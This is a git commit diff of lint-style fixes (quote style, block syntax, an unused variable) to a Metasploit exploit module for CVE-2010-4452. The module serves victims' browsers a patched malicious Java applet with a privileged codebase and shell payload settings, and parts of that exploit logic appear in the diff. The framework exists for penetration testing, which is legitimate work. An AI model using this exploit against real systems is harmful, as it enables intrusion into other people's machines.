Mass rubocop changes

This commit is contained in:
Spencer McIntyre
2025-12-17 17:11:13 -05:00
parent d4b196b309
commit 602adeb4c5
237 changed files with 4505 additions and 4446 deletions
@@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java',
'Platform' => 'java'
}
],
@@ -81,21 +81,21 @@ class MetasploitModule < Msf::Exploit::Remote
[
# This is the default for a 32-bit Windows install
OptString.new('LIBPATH', [
false, "The codebase path to use (privileged)",
"C:\\Program Files\\java\\jre6\\lib\\ext"
false, 'The codebase path to use (privileged)',
'C:\\Program Files\\java\\jre6\\lib\\ext'
]),
]
)
end
def exploit
path = [ Msf::Config.data_directory, "exploits", "cve-2010-4452", "AppletX.class" ].join(::File::SEPARATOR)
path = [ Msf::Config.data_directory, 'exploits', 'cve-2010-4452', 'AppletX.class' ].join(::File::SEPARATOR)
@java_class = nil
File.open(path, "rb") { |fd|
File.open(path, 'rb') do |fd|
@java_class = fd.read(fd.stat.size)
}
if not @java_class
fail_with(Failure::Unknown, "Unable to load java class")
end
if !@java_class
fail_with(Failure::Unknown, 'Unable to load java class')
end
super
@@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote
host_num = Rex::Socket.addr_aton(host).unpack('N').first
code_url = jpath.sub(host, host_num.to_s)
codebase = "file:" + datastore['LIBPATH']
codebase = 'file:' + datastore['LIBPATH']
config = "Spawn=2\nLPORT=#{datastore['LPORT']}\n"
# The java payloads decide to be reverse if LHOST is set.
@@ -134,9 +134,9 @@ class MetasploitModule < Msf::Exploit::Remote
# As such, we do not use the traditional payload generation facilities.
# However, we call the following so that bind payloads will properly
# connect to the client instead of using RHOST
p = regenerate_payload(cli)
regenerate_payload(cli)
print_status("Sending .class file")
print_status('Sending .class file')
cls = @java_class.dup
cls[config_off, 2] = [config.length].pack('n')
@@ -148,7 +148,7 @@ class MetasploitModule < Msf::Exploit::Remote
# File.open('ughz.class', 'wb') { |fd| fd.write cls }
send_response(cli, cls, { 'Content-Type' => "application/octet-stream" })
send_response(cli, cls, { 'Content-Type' => 'application/octet-stream' })
handler(cli)
else
@@ -159,7 +159,7 @@ class MetasploitModule < Msf::Exploit::Remote
</body>
</html>
EOS
print_status("Sending HTML")
print_status('Sending HTML')
send_response_html(cli, html)
end
end